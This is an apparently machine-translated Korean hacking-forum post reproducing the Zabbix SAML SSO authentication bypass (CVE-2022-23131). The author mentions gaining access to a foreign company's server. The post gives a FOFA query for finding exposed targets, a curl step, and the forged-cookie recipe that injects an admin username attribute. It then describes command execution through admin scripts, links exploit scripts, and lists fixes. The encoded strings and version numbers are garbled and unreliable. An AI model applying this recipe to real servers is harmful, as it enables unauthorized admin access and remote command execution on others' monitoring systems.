KoreanHackerTeam
Moderator
0x00 前言
최근에, Zabbix 취약성 (CVE-2022-23131)은이를 재현하고 실수로 외국 회사의 Zabbix 서버를 얻었습니다. Zabbix Sia Zabbix는 라트비아의 Zabbix Sia (Zabbix SIA)의 오픈 소스 모니터링 시스템입니다. 이 시스템은 네트워크 모니터링, 서버 모니터링, 클라우드 모니터링 및 응용 프로그램 모니터링을 지원합니다. Zabbix Frontend에는 악의적 인 액터가 세션에 저장된 사용자 로그인이 확인되지 않았기 때문에 악의적 인 액터가 SAML SSO 인증 (비 디폴트)으로 세션 데이터를 수정할 수 있다는 보안 취약점이 있습니다. 무단 악성 공격자는이 문제를 악용하여 권한을 확대하고 Zabbix 프론트 엔드에 대한 관리자 액세스를 얻을 수 있습니다.0x01 漏洞原因
SAML SSO 인증 활성화 (Default)가 포함 된 악성 공격자는 세션 데이터를 수정하여 인증 우회를 구현할 수 있습니다. 무단 악성 공격자는이 문제를 악용하여 권한을 확대하고 Zabbix 프론트 엔드에 대한 관리자 액세스를 얻을 수 있습니다.이 취약점은 index_sso.php 파일에 존재합니다. index_sso.php 파일은 cencryptedcookiesession:checksign () 메소드를 호출하여 쿠키를 확인하고 클라이언트의 쿠키를 위조 할 수 있습니다.
INDEX_SSO.PHP 파일에서 SAML_DATA가 단조 쿠키에 존재할 때 username_attribute 데이터를 얻는다는 것을 알 수 있습니다. 사용자가 실제로 존재하는 경우, ID 인증 우회를 달성하기 위해 SessionID가 생성됩니다.
0x02 漏洞影响
5.4.85.0.18
4.0.36
0x03 漏洞复现
FOFA : app='Zabbix-supervision System'body='saml'Execution curl -kssil http://xxx.com/
Set-Cookie의 값을 얻은 다음 URL 디코딩을 수행 한 다음 Base64 디코딩을 수행하십시오.
URL 디코딩 :
eyjzzxnzaw9uawqioiixnzfiodawoti4ndq2mmuxzgrhodayywfjodk5mdi2yyisinnpz24ioij0etzszvkzvdrxvedyenjsef M2ZLPYNTRHT3PCMHBHS25VWHBHZDR3MHDKC2LWNTJ2AUDNDYTDULPQJYQUJYQUJYQUJYQUJYQUJYQUJYQUJYQUJYQUJYQUJYQUJYQUJYQUJYQUJYQUJYQUJYQUJ5WDK5BGHNMVVHBFM4CTRWNJBKB1WVUGC9PSJ9
Base64 디코딩 :
{ 'sessionId':'171B8009284462E1DDA802AAC899026C', 'SIGN':'TY6REY3T4QTGX zrlxs6fzr54aozb0paknoxpad4wjsip52viggw+crzjyrrabyx99lhm1ugls8q4p60jo \/pg=='}

그런 다음 문자열을 연결하십시오
{ 'saml_data': {'username_attribute':'admin '},'sessionid':'171b8009284462e1dda802aac899026c ', '서명 ':'ty6rey3t4qtgxzrlxs6fzr54aozb0paknoxpad4w0wjsip52viggw+crzjyrrabyx99lhm1ugls8q4p60jo \/pg=='}
스 플라이 싱 후, Base64 암호화가 수행된다

그런 다음 urlencode에서


执行命令

관리- 새 스크립트를 만들기위한 스크립트를 찾으십시오. 여기에서 ifconfig를 만들었습니다.


모니터링에서 최신 데이터를 찾은 다음 실행하려는 호스트 그룹을 필터링하고 호스트 이름을 클릭하여 해당 명령을 실행하십시오.

또는 github 익스플로잇 스크립트 : https://github.com/l0ading-x/cve-2022-231https://github.com/mr-xn/cve-2022-23131 스크립트를 실행하고 관리자는 기본 고급 사용자이며 세션 값을 얻습니다.




0x04 修复方法
1. SAML 인증 비활성화2. 보안 버전 업그레이드 (https://support.zabbix.com/browse/zbx-20350)